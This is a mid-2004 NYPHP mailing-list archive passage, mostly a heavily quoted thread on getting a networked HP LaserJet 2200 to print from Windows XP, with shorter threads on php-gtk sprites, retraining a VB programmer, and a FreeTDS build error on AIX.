>Phil > >Kamm, William R (Bill), ALABS wrote: > > > >>How is the printer attached? Ethernet? USB? Parallel/Centronix? If >>it is networked (RJ45 Ethernet), configuration is not that simple. If >>you follow the print wizard, you will go wrong. Let me know, maybe I >>can help. >> >>Bill >> >>-----Original Message----- >>From: talk-bounces at lists.nyphp.org >>[mailto:talk-bounces at lists.nyphp.org] >>On Behalf Of Phillip Powell >>Sent: Tuesday, June 29, 2004 7:40 PM >>To: NYPHP Talk >>Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >> >> >>Sorry, I've turned to everyone I know, and everyone I know knows Linux >>now (including me) and not XP. Barring reconfiguring everything to RH >>(dream, but not reality): >> >>We have two new XP-enabled machines here at work and neither will print >>using our existing HP LaserJet 2200 Series PCL 6. I downloaded the >>proper drivers from http://www.hp.com and attempted several >>reinstallations of printers, to no avail. >> >>Each time it will attempt to print, only to time out and throw a >>timeout-related error each time it tries to print: "The document has >>failed to print". >> >>Has anyone out there had experience working with both XP and HP >>LaserJet >> >>printers? I am on a serious time crunch and have to have this >>configured >> >>by morning and I'm stuck! >> >>Help! >> >>Thanx >>Phil >> >> >> >> >> > > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From Cbielanski at inta.org Wed Jun 30 10:23:22 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Wed, 30 Jun 2004 10:23:22 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Message-ID: Troubleshooting Step #1: Connections, connections, connections. :) Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] > Sent: Wednesday, June 30, 2004 10:21 AM > To: NYPHP Talk > Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > > > Bill, see below, thanx! > > Kamm, William R (Bill), ALABS wrote: > > >Here is how I set mine up on my home network: > > > >1. Assign the printer an IP address. For example, 192.168.1.___. I > >can't help you with this, you need to look that up in the manual. > > > > > We've already done that step a long time ago as a matter of > fact. I was > able to even view the webpage generated by opening a browser > and putting > in the IP for the printer on the "good" and "bad" machines. > > >2. Click Start --> Settings --> Printers and Faxes, then Add Printer. > > > >3. Click Next on the first wizard page. > > > >4. This is where Microsoft screwed up. DON'T click the "Network > >printer" radio button. Instead, click "Local printer > attached to this > >computer". Yeah, it makes no sense at all, but it works. > Uncheck the > >"Automatically detect" checkbox, and click Next. > > > > > All of the other PCs are set up this way already for > configuration with > the printer. > > >5. Select the "Create a new port" radio button, and select "Standard > >TCP/IP Port" from the dropdown list. Click Next. > > > > > > Actually, that port had already existed. For good measure I deleted > that port and recreated it entering the IP address (see Step 7). > > >6. As the next screen says, make sure the printer is powered > on and is > >on the network. Click Next. > > > >7. Type in the IP address, and the port name will be automatically > >filled in. Click Next. > > > >8. After that, just follow the prompts to find your printer from the > >list, assign it a name, and print a test page. > > > > > > Bill, I did all of that last night, to no avail. It would still not > print when set up this way; even though the other machines > were set up > exactly in this format to a tee and can print, the 2 other machines > could not. I had managed to connect to a network printer using the > network domain workgroup name and it worked until this morning - no > explanation whatsoever, it just stopped working! > > >Bill > > > >-----Original Message----- > >From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] > >On Behalf Of Phillip Powell > >Sent: Wednesday, June 30, 2004 10:01 AM > >To: NYPHP Talk > >Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > > > > > >It's attached via RJ45 Ethernet. And the company is getting someone > >else to do it apparently at this point. I had it working last night > >whereby I was able to add them to the network workgroup > (rather, re-add > >them) and then was able to print; somehow, they can't print anymore. > > > >Phil > > > >Kamm, William R (Bill), ALABS wrote: > > > > > > > >>How is the printer attached? Ethernet? USB? > Parallel/Centronix? If > >>it is networked (RJ45 Ethernet), configuration is not that > simple. If > >>you follow the print wizard, you will go wrong. Let me > know, maybe I > >>can help. > >> > >>Bill > >> > >>-----Original Message----- > >>From: talk-bounces at lists.nyphp.org > >>[mailto:talk-bounces at lists.nyphp.org] > >>On Behalf Of Phillip Powell > >>Sent: Tuesday, June 29, 2004 7:40 PM > >>To: NYPHP Talk > >>Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > >> > >> > >>Sorry, I've turned to everyone I know, and everyone I know > knows Linux > >>now (including me) and not XP. Barring reconfiguring > everything to RH > >>(dream, but not reality): > >> > >>We have two new XP-enabled machines here at work and > neither will print > >>using our existing HP LaserJet 2200 Series PCL 6. I downloaded the > >>proper drivers from http://www.hp.com and attempted several > >>reinstallations of printers, to no avail. > >> > >>Each time it will attempt to print, only to time out and throw a > >>timeout-related error each time it tries to print: "The > document has > >>failed to print". > >> > >>Has anyone out there had experience working with both XP and HP > >>LaserJet > >> > >>printers? I am on a serious time crunch and have to have this > >>configured > >> > >>by morning and I'm stuck! > >> > >>Help! > >> > >>Thanx > >>Phil > >> > >> > >> > >> > >> > > > > > > > > > > > -- > -------------------------------------------------------------- > ------------------- > Phil Powell > Multimedia Programmer > BPX Technologies, Inc. > #: (703) 709-7218 x107 > Fax: (703) 709-7219 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From phillip.powell at adnet-sys.com Wed Jun 30 10:30:24 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 30 Jun 2004 10:30:24 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: References: Message-ID: <40E2CE80.4050600@adnet-sys.com> HUH???? Man can you folk please speak either English or Swedish? Phil Chris Bielanski wrote: > >Troubleshooting Step #1: Connections, connections, connections. > > >:) > >Thanks, >Chris Bielanski >Web Programmer, >International Trademark Association, >1133 Avenue of the Americas, 33rd Floor >New York, NY 10036 >+1 (212) 642-1745, f: +1 (212) 768-7796 >mailto:cbielanski at inta.org, www.inta.org >INTA -- 125 Years of Excellence > > > > > >>-----Original Message----- >>From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] >>Sent: Wednesday, June 30, 2004 10:21 AM >>To: NYPHP Talk >>Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >> >> >>Bill, see below, thanx! >> >>Kamm, William R (Bill), ALABS wrote: >> >> >> >>>Here is how I set mine up on my home network: >>> >>>1. Assign the printer an IP address. For example, 192.168.1.___. I >>>can't help you with this, you need to look that up in the manual. >>> >>> >>> >>> >>We've already done that step a long time ago as a matter of >>fact. I was >>able to even view the webpage generated by opening a browser >>and putting >>in the IP for the printer on the "good" and "bad" machines. >> >> >> >>>2. Click Start --> Settings --> Printers and Faxes, then Add Printer. >>> >>>3. Click Next on the first wizard page. >>> >>>4. This is where Microsoft screwed up. DON'T click the "Network >>>printer" radio button. Instead, click "Local printer >>> >>> >>attached to this >> >> >>>computer". Yeah, it makes no sense at all, but it works. >>> >>> >>Uncheck the >> >> >>>"Automatically detect" checkbox, and click Next. >>> >>> >>> >>> >>All of the other PCs are set up this way already for >>configuration with >>the printer. >> >> >> >>>5. Select the "Create a new port" radio button, and select "Standard >>>TCP/IP Port" from the dropdown list. Click Next. >>> >>> >>> >>> >>Actually, that port had already existed. For good measure I deleted >>that port and recreated it entering the IP address (see Step 7). >> >> >> >>>6. As the next screen says, make sure the printer is powered >>> >>> >>on and is >> >> >>>on the network. Click Next. >>> >>>7. Type in the IP address, and the port name will be automatically >>>filled in. Click Next. >>> >>>8. After that, just follow the prompts to find your printer from the >>>list, assign it a name, and print a test page. >>> >>> >>> >>> >>Bill, I did all of that last night, to no avail. It would still not >>print when set up this way; even though the other machines >>were set up >>exactly in this format to a tee and can print, the 2 other machines >>could not. I had managed to connect to a network printer using the >>network domain workgroup name and it worked until this morning - no >>explanation whatsoever, it just stopped working! >> >> >> >>>Bill >>> >>>-----Original Message----- >>>From: talk-bounces at lists.nyphp.org >>> >>> >>[mailto:talk-bounces at lists.nyphp.org] >> >> >>>On Behalf Of Phillip Powell >>>Sent: Wednesday, June 30, 2004 10:01 AM >>>To: NYPHP Talk >>>Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >>> >>> >>>It's attached via RJ45 Ethernet. And the company is getting someone >>>else to do it apparently at this point. I had it working last night >>>whereby I was able to add them to the network workgroup >>> >>> >>(rather, re-add >> >> >>>them) and then was able to print; somehow, they can't print anymore. >>> >>>Phil >>> >>>Kamm, William R (Bill), ALABS wrote: >>> >>> >>> >>> >>> >>>>How is the printer attached? Ethernet? USB? >>>> >>>> >>Parallel/Centronix? If >> >> >>>>it is networked (RJ45 Ethernet), configuration is not that >>>> >>>> >>simple. If >> >> >>>>you follow the print wizard, you will go wrong. Let me >>>> >>>> >>know, maybe I >> >> >>>>can help. >>>> >>>>Bill >>>> >>>>-----Original Message----- >>>>From: talk-bounces at lists.nyphp.org >>>>[mailto:talk-bounces at lists.nyphp.org] >>>>On Behalf Of Phillip Powell >>>>Sent: Tuesday, June 29, 2004 7:40 PM >>>>To: NYPHP Talk >>>>Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >>>> >>>> >>>>Sorry, I've turned to everyone I know, and everyone I know >>>> >>>> >>knows Linux >> >> >>>>now (including me) and not XP. Barring reconfiguring >>>> >>>> >>everything to RH >> >> >>>>(dream, but not reality): >>>> >>>>We have two new XP-enabled machines here at work and >>>> >>>> >>neither will print >> >> >>>>using our existing HP LaserJet 2200 Series PCL 6. I downloaded the >>>>proper drivers from http://www.hp.com and attempted several >>>>reinstallations of printers, to no avail. >>>> >>>>Each time it will attempt to print, only to time out and throw a >>>>timeout-related error each time it tries to print: "The >>>> >>>> >>document has >> >> >>>>failed to print". >>>> >>>>Has anyone out there had experience working with both XP and HP >>>>LaserJet >>>> >>>>printers? I am on a serious time crunch and have to have this >>>>configured >>>> >>>>by morning and I'm stuck! >>>> >>>>Help! >>>> >>>>Thanx >>>>Phil >>>> >>>> >>>> >>>> >>>> >>>> >>>> >>> >>> >>> >>> >>-- >>-------------------------------------------------------------- >>------------------- >>Phil Powell >>Multimedia Programmer >>BPX Technologies, Inc. >>#: (703) 709-7218 x107 >>Fax: (703) 709-7219 >> >> >> >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> >> >> >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From Cbielanski at inta.org Wed Jun 30 10:32:49 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Wed, 30 Jun 2004 10:32:49 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Message-ID: I know I'm lowering the signal ratio of the list with this one ;) I was merely trying to point out that after all this, you should check the physical connections to that device. If they appear solid, connect a different printer in its place and see if the same problem exists. I'll take it off-list if more help is desired. Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] > Sent: Wednesday, June 30, 2004 10:30 AM > To: NYPHP Talk > Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > > > HUH???? L_indecipherable_rant> > > Man can you folk please speak either English or Swedish? > > Phil > > Chris Bielanski wrote: > > > > >Troubleshooting Step #1: Connections, connections, connections. > > > > > >:) > > > >Thanks, > >Chris Bielanski > >Web Programmer, > >International Trademark Association, > >1133 Avenue of the Americas, 33rd Floor > >New York, NY 10036 > >+1 (212) 642-1745, f: +1 (212) 768-7796 > >mailto:cbielanski at inta.org, www.inta.org > >INTA -- 125 Years of Excellence > > > > > > > > > > > >>-----Original Message----- > >>From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] > >>Sent: Wednesday, June 30, 2004 10:21 AM > >>To: NYPHP Talk > >>Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > >> > >> > >>Bill, see below, thanx! > >> > >>Kamm, William R (Bill), ALABS wrote: > >> > >> > >> > >>>Here is how I set mine up on my home network: > >>> > >>>1. Assign the printer an IP address. For example, > 192.168.1.___. I > >>>can't help you with this, you need to look that up in the manual. > >>> > >>> > >>> > >>> > >>We've already done that step a long time ago as a matter of > >>fact. I was > >>able to even view the webpage generated by opening a browser > >>and putting > >>in the IP for the printer on the "good" and "bad" machines. > >> > >> > >> > >>>2. Click Start --> Settings --> Printers and Faxes, then > Add Printer. > >>> > >>>3. Click Next on the first wizard page. > >>> > >>>4. This is where Microsoft screwed up. DON'T click the "Network > >>>printer" radio button. Instead, click "Local printer > >>> > >>> > >>attached to this > >> > >> > >>>computer". Yeah, it makes no sense at all, but it works. > >>> > >>> > >>Uncheck the > >> > >> > >>>"Automatically detect" checkbox, and click Next. > >>> > >>> > >>> > >>> > >>All of the other PCs are set up this way already for > >>configuration with > >>the printer. > >> > >> > >> > >>>5. Select the "Create a new port" radio button, and select > "Standard > >>>TCP/IP Port" from the dropdown list. Click Next. > >>> > >>> > >>> > >>> > >>Actually, that port had already existed. For good measure > I deleted > >>that port and recreated it entering the IP address (see Step 7). > >> > >> > >> > >>>6. As the next screen says, make sure the printer is powered > >>> > >>> > >>on and is > >> > >> > >>>on the network. Click Next. > >>> > >>>7. Type in the IP address, and the port name will be automatically > >>>filled in. Click Next. > >>> > >>>8. After that, just follow the prompts to find your > printer from the > >>>list, assign it a name, and print a test page. > >>> > >>> > >>> > >>> > >>Bill, I did all of that last night, to no avail. It would > still not > >>print when set up this way; even though the other machines > >>were set up > >>exactly in this format to a tee and can print, the 2 other machines > >>could not. I had managed to connect to a network printer using the > >>network domain workgroup name and it worked until this morning - no > >>explanation whatsoever, it just stopped working! > >> > >> > >> > >>>Bill > >>> > >>>-----Original Message----- > >>>From: talk-bounces at lists.nyphp.org > >>> > >>> > >>[mailto:talk-bounces at lists.nyphp.org] > >> > >> > >>>On Behalf Of Phillip Powell > >>>Sent: Wednesday, June 30, 2004 10:01 AM > >>>To: NYPHP Talk > >>>Subject: Re: [nycphp-talk] OT: Need help with XP and HP > LaserJet 2200 > >>> > >>> > >>>It's attached via RJ45 Ethernet. And the company is > getting someone > >>>else to do it apparently at this point. I had it working > last night > >>>whereby I was able to add them to the network workgroup > >>> > >>> > >>(rather, re-add > >> > >> > >>>them) and then was able to print; somehow, they can't > print anymore. > >>> > >>>Phil > >>> > >>>Kamm, William R (Bill), ALABS wrote: > >>> > >>> > >>> > >>> > >>> > >>>>How is the printer attached? Ethernet? USB? > >>>> > >>>> > >>Parallel/Centronix? If > >> > >> > >>>>it is networked (RJ45 Ethernet), configuration is not that > >>>> > >>>> > >>simple. If > >> > >> > >>>>you follow the print wizard, you will go wrong. Let me > >>>> > >>>> > >>know, maybe I > >> > >> > >>>>can help. > >>>> > >>>>Bill > >>>> > >>>>-----Original Message----- > >>>>From: talk-bounces at lists.nyphp.org > >>>>[mailto:talk-bounces at lists.nyphp.org] > >>>>On Behalf Of Phillip Powell > >>>>Sent: Tuesday, June 29, 2004 7:40 PM > >>>>To: NYPHP Talk > >>>>Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > >>>> > >>>> > >>>>Sorry, I've turned to everyone I know, and everyone I know > >>>> > >>>> > >>knows Linux > >> > >> > >>>>now (including me) and not XP. Barring reconfiguring > >>>> > >>>> > >>everything to RH > >> > >> > >>>>(dream, but not reality): > >>>> > >>>>We have two new XP-enabled machines here at work and > >>>> > >>>> > >>neither will print > >> > >> > >>>>using our existing HP LaserJet 2200 Series PCL 6. I > downloaded the > >>>>proper drivers from http://www.hp.com and attempted several > >>>>reinstallations of printers, to no avail. > >>>> > >>>>Each time it will attempt to print, only to time out and throw a > >>>>timeout-related error each time it tries to print: "The > >>>> > >>>> > >>document has > >> > >> > >>>>failed to print". > >>>> > >>>>Has anyone out there had experience working with both XP and HP > >>>>LaserJet > >>>> > >>>>printers? I am on a serious time crunch and have to have this > >>>>configured > >>>> > >>>>by morning and I'm stuck! > >>>> > >>>>Help! > >>>> > >>>>Thanx > >>>>Phil > >>>> > >>>> > >>>> > >>>> > >>>> > >>>> > >>>> > >>> > >>> > >>> > >>> > >>-- > >>-------------------------------------------------------------- > >>------------------- > >>Phil Powell > >>Multimedia Programmer > >>BPX Technologies, Inc. > >>#: (703) 709-7218 x107 > >>Fax: (703) 709-7219 > >> > >> > >> > >>_______________________________________________ > >>talk mailing list > >>talk at lists.nyphp.org > >>http://lists.nyphp.org/mailman/listinfo/talk > >> > >> > >> > >_______________________________________________ > >talk mailing list > >talk at lists.nyphp.org > >http://lists.nyphp.org/mailman/listinfo/talk > > > > > > > > > -- > -------------------------------------------------------------- > ------------------- > Phil Powell > Multimedia Programmer > BPX Technologies, Inc. > #: (703) 709-7218 x107 > Fax: (703) 709-7219 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From wkamm at att.com Wed Jun 30 10:31:59 2004 From: wkamm at att.com (Kamm, William R (Bill), ALABS) Date: Wed, 30 Jun 2004 09:31:59 -0500 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Message-ID: Phil, sounds like you did everything correctly. Like Chris said, check your connections. You should be able to ping the IP. From "Printers and Faxes", right-click the printer, select Properties, and try to print a test page. This is going to take some additional troubleshooting that I can't help with remotely. Bill -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Phillip Powell Sent: Wednesday, June 30, 2004 10:30 AM To: NYPHP Talk Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 HUH???? Man can you folk please speak either English or Swedish? Phil Chris Bielanski wrote: > >Troubleshooting Step #1: Connections, connections, connections. > > >:) > >Thanks, >Chris Bielanski >Web Programmer, >International Trademark Association, >1133 Avenue of the Americas, 33rd Floor >New York, NY 10036 >+1 (212) 642-1745, f: +1 (212) 768-7796 >mailto:cbielanski at inta.org, www.inta.org >INTA -- 125 Years of Excellence > > > > > >>-----Original Message----- >>From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] >>Sent: Wednesday, June 30, 2004 10:21 AM >>To: NYPHP Talk >>Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >> >> >>Bill, see below, thanx! >> >>Kamm, William R (Bill), ALABS wrote: >> >> >> >>>Here is how I set mine up on my home network: >>> >>>1. Assign the printer an IP address. For example, 192.168.1.___. I >>>can't help you with this, you need to look that up in the manual. >>> >>> >>> >>> >>We've already done that step a long time ago as a matter of >>fact. I was >>able to even view the webpage generated by opening a browser >>and putting >>in the IP for the printer on the "good" and "bad" machines. >> >> >> >>>2. Click Start --> Settings --> Printers and Faxes, then Add Printer. >>> >>>3. Click Next on the first wizard page. >>> >>>4. This is where Microsoft screwed up. DON'T click the "Network >>>printer" radio button. Instead, click "Local printer >>> >>> >>attached to this >> >> >>>computer". Yeah, it makes no sense at all, but it works. >>> >>> >>Uncheck the >> >> >>>"Automatically detect" checkbox, and click Next. >>> >>> >>> >>> >>All of the other PCs are set up this way already for >>configuration with >>the printer. >> >> >> >>>5. Select the "Create a new port" radio button, and select "Standard >>>TCP/IP Port" from the dropdown list. Click Next. >>> >>> >>> >>> >>Actually, that port had already existed. For good measure I deleted >>that port and recreated it entering the IP address (see Step 7). >> >> >> >>>6. As the next screen says, make sure the printer is powered >>> >>> >>on and is >> >> >>>on the network. Click Next. >>> >>>7. Type in the IP address, and the port name will be automatically >>>filled in. Click Next. >>> >>>8. After that, just follow the prompts to find your printer from the >>>list, assign it a name, and print a test page. >>> >>> >>> >>> >>Bill, I did all of that last night, to no avail. It would still not >>print when set up this way; even though the other machines >>were set up >>exactly in this format to a tee and can print, the 2 other machines >>could not. I had managed to connect to a network printer using the >>network domain workgroup name and it worked until this morning - no >>explanation whatsoever, it just stopped working! >> >> >> >>>Bill >>> >>>-----Original Message----- >>>From: talk-bounces at lists.nyphp.org >>> >>> >>[mailto:talk-bounces at lists.nyphp.org] >> >> From joel at tagword.com Wed Jun 30 12:00:39 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 30 Jun 2004 12:00:39 -0400 Subject: [nycphp-talk] Animated sprites in PHP Message-ID: <1088611239.26567.25.camel@bezel> This is a follow-up on the phpscripts as screensaver thread: Here is a quick demo of what I got working last night with the animated sprites in php-gtk. (yes lots of pictures...) http://lucifer.intercosmos.net/phpgtk/ let me know what you think. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From Cbielanski at inta.org Wed Jun 30 10:39:28 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Wed, 30 Jun 2004 10:39:28 -0400 Subject: [nycphp-talk] Animated sprites in PHP Message-ID: Dude, do you ever sleep? :) I'll be playing more with this when I'm suffering from insomnia. Thanks for writing it up! Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: Joel De Gan [mailto:joel at tagword.com] > Sent: Wednesday, June 30, 2004 12:01 PM > To: NYPHP Talk > Subject: [nycphp-talk] Animated sprites in PHP > > > This is a follow-up on the phpscripts as screensaver thread: > > Here is a quick demo of what I got working last night with > the animated > sprites in php-gtk. (yes lots of pictures...) > > http://lucifer.intercosmos.net/phpgtk/ > > let me know what you think. > > -- > joeldg - developer, Intercosmos media group. > http://lucifer.intercosmos.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > >From hans not junk at nyphp.com Wed Jun 30 10:36:11 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 7C8E5A87E1 for ; Wed, 30 Jun 2004 10:36:11 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 07:28:01 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] suggestions for re-training of a junior VB/.netprogrammer Date: Wed, 30 Jun 2004 07:36:07 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D25314 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] suggestions for re-training of a junior VB/.netprogrammer Thread-Index: AcRd86WA+AAVpUh2QAq5W4aqsc4uogAuu89Q From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 14:28:01.0922 (UTC) FILETIME=[72F55E20:01C45EAE] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 14:36:11 -0000 > I have a friend who hired a junior programmer/relative (!)=20 > who has only worked with VB and VB/.net on IIS. He =20 > recognizes the need to re-track this person onto PHP on his=20 > existing LAMP platform. Excellent... > He wants a short-time-duration (inside 6 months) plan to=20 > bring the programmer up to speed, so he can assume similar=20 > level responsibilities on LAMP. The idea is to avoid=20 > expensive text-book style training, and also avoid 1:1=20 > dedication from the senior people at this stage (he wants to=20 > get him at least to the junior scripter level first). The best way to learn is to do. As already mentioned, tell him to bring a LAMP box online and have him write a couple applications. Start with real simple stuff, then grow into more complex applications. Another effective way of learning is to hack around with someone else's code. For instance, take a small, fairly well written PHP application and tell him "it does X now, I need it to do Y". > I am not sure howmuch of a self-starter this person is, but=20 > that is what needs to be determined IMHO. Absolutely... > I suggested he send him to NYPHP meetings and have him give=20 > briefings to the company staff afterwards, perhaps do demos=20 > for them, etc. > I want to suggest workshops and training seminars as well. > I would like to refer him to install fests that are=20 > newbie-friendly (SuSe, BSD, RH ok) I could even see him=20 > benefitting from LAN parties that are *nix based, if possible. http://gnubies.org might be a good start, although generally Linux specific. http://nycbug.org is newbie friendly, but of course BSD specific. I think sending him to NYPHP meetings is a good bet, since we generally have a wide variety of talent at the meetings that he can talk to over a couple of beers. > Can you all suggest where to look for inside-6-months=20 > training / experience activities, so I can pass along?=20 > Perhaps there is a website with local NY/NJ activities like=20 > this, or a central listing of local AMP user groups? Not specific to AMP, but there's: http://home.netcom.com/~casandra/linux/calendar.html Also, I know we had talked about free workshops/install fests/ for AMP, which seems inline with exactly what he needs. We could even have one for "Moving from VB to PHP." This might be perfect motivation to get this project underway, especially if we can find some free space to hold the event at. H From Rafi.Sheikh at Ingenix.com Wed Jun 30 10:36:43 2004 From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh) Date: Wed, 30 Jun 2004 09:36:43 -0500 Subject: [nycphp-talk] Using FreeTDS to connect via PHP to MSSQL Message-ID: Has any one tried to compile FreeTDS for use with PHP (4.3.4 in our case on AIX 5.1) to connect with MSSQL? If yes, would you be so kind as to give us some guidance, our compiles are failing miserably I am listing the error below: -----------ERROR LISTING----------------- gcc -g -O2 -o .libs/tsql tsql.o -lcurses -L../tds/.libs -ltds -liconv -lc -Wl,-blibpath:/usr/local/lib:/usr/bin/../lib/gcc-lib/powerpc-ibm-aix5.1.0.0/ 2.9-aix51-020209:/usr/bin/../lib/gcc-lib:/opt/freeware/GNUPro/lib/gcc-lib/po werpc-ibm-aix5.1.0.0/2.9-aix51-020209:/usr/bin/../lib/gcc-lib/powerpc-ibm-ai x5.1.0.0/2.9-aix51-020209/../../..:/opt/freeware/GNUPro/lib/gcc-lib/powerpc- ibm-aix5.1.0.0/2.9-aix51-020209/../../..:/usr/lib:/lib ld: 0711-317 ERROR: Undefined symbol: .tds_submit_query ld: 0711-317 ERROR: Undefined symbol: .tds_get_null ld: 0711-317 ERROR: Undefined symbol: .tds_get_conversion_type ld: 0711-317 ERROR: Undefined symbol: .tds_convert ld: 0711-317 ERROR: Undefined symbol: .tds_process_row_tokens ld: 0711-317 ERROR: Undefined symbol: .tds_version ld: 0711-317 ERROR: Undefined symbol: .tds_client_msg ld: 0711-317 ERROR: Undefined symbol: .tds_process_result_tokens ld: 0711-317 ERROR: Undefined symbol: .tds_get_compiletime_settings ld: 0711-317 ERROR: Undefined symbol: .tds_set_user ld: 0711-317 ERROR: Undefined symbol: .tds_set_app ld: 0711-317 ERROR: Undefined symbol: .tds_set_library ld: 0711-317 ERROR: Undefined symbol: .tds_set_server ld: 0711-317 ERROR: Undefined symbol: .tds_set_client_charset ld: 0711-317 ERROR: Undefined symbol: .tds_set_language ld: 0711-317 ERROR: Undefined symbol: .tds_set_passwd ld: 0711-317 ERROR: Undefined symbol: .tds_set_interfaces_file_loc ld: 0711-317 ERROR: Undefined symbol: .tds_set_port ld: 0711-317 ERROR: Undefined symbol: .tds_alloc_login ld: 0711-317 ERROR: Undefined symbol: .tds_alloc_context ld: 0711-317 ERROR: Undefined symbol: .tds_alloc_socket ld: 0711-317 ERROR: Undefined symbol: .tds_set_parent ld: 0711-317 ERROR: Undefined symbol: .tds_read_config_info ld: 0711-317 ERROR: Undefined symbol: .tds_connect ld: 0711-317 ERROR: Undefined symbol: .tds_free_connection ld: 0711-317 ERROR: Undefined symbol: .tds_free_socket ld: 0711-317 ERROR: Undefined symbol: .tds_free_login ld: 0711-317 ERROR: Undefined symbol: .tds_free_context ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more information. collect2: ld returned 8 exit status make: 1254-004 The error code from the last command is 1. Stop. make: 1254-004 The error code from the last command is 1. Stop. make: 1254-004 The error code from the last command is 1. This e-mail, including attachments, may include confidential and/or proprietary information, and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately. From danielc at analysisandsolutions.com Wed Jun 30 10:38:29 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 30 Jun 2004 10:38:29 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: References: Message-ID: <20040630143828.GA10042@panix.com> Folks: Not only is this thread WAAAAAY off topic, y'all are leaving in the entirety of the prior discussions. The stupid emails have now grown to 329 lines. It's absurd. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From mitchy at spacemonkeylabs.com Wed Jun 30 10:39:33 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Wed, 30 Jun 2004 10:39:33 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E237A7.40700@ceruleansky.com> References: <40E237A7.40700@ceruleansky.com> Message-ID: <40E2D0A5.40707@spacemonkeylabs.com> Jayesh Sheth wrote: > I have come to the realization that in this city - and perhaps > anywhere else in the world - it's every man for himself. If I were to > be run over by a truck, people would probably step over me. And if they tripped, they would sue you. (rimshot) Most folks in IT haven't 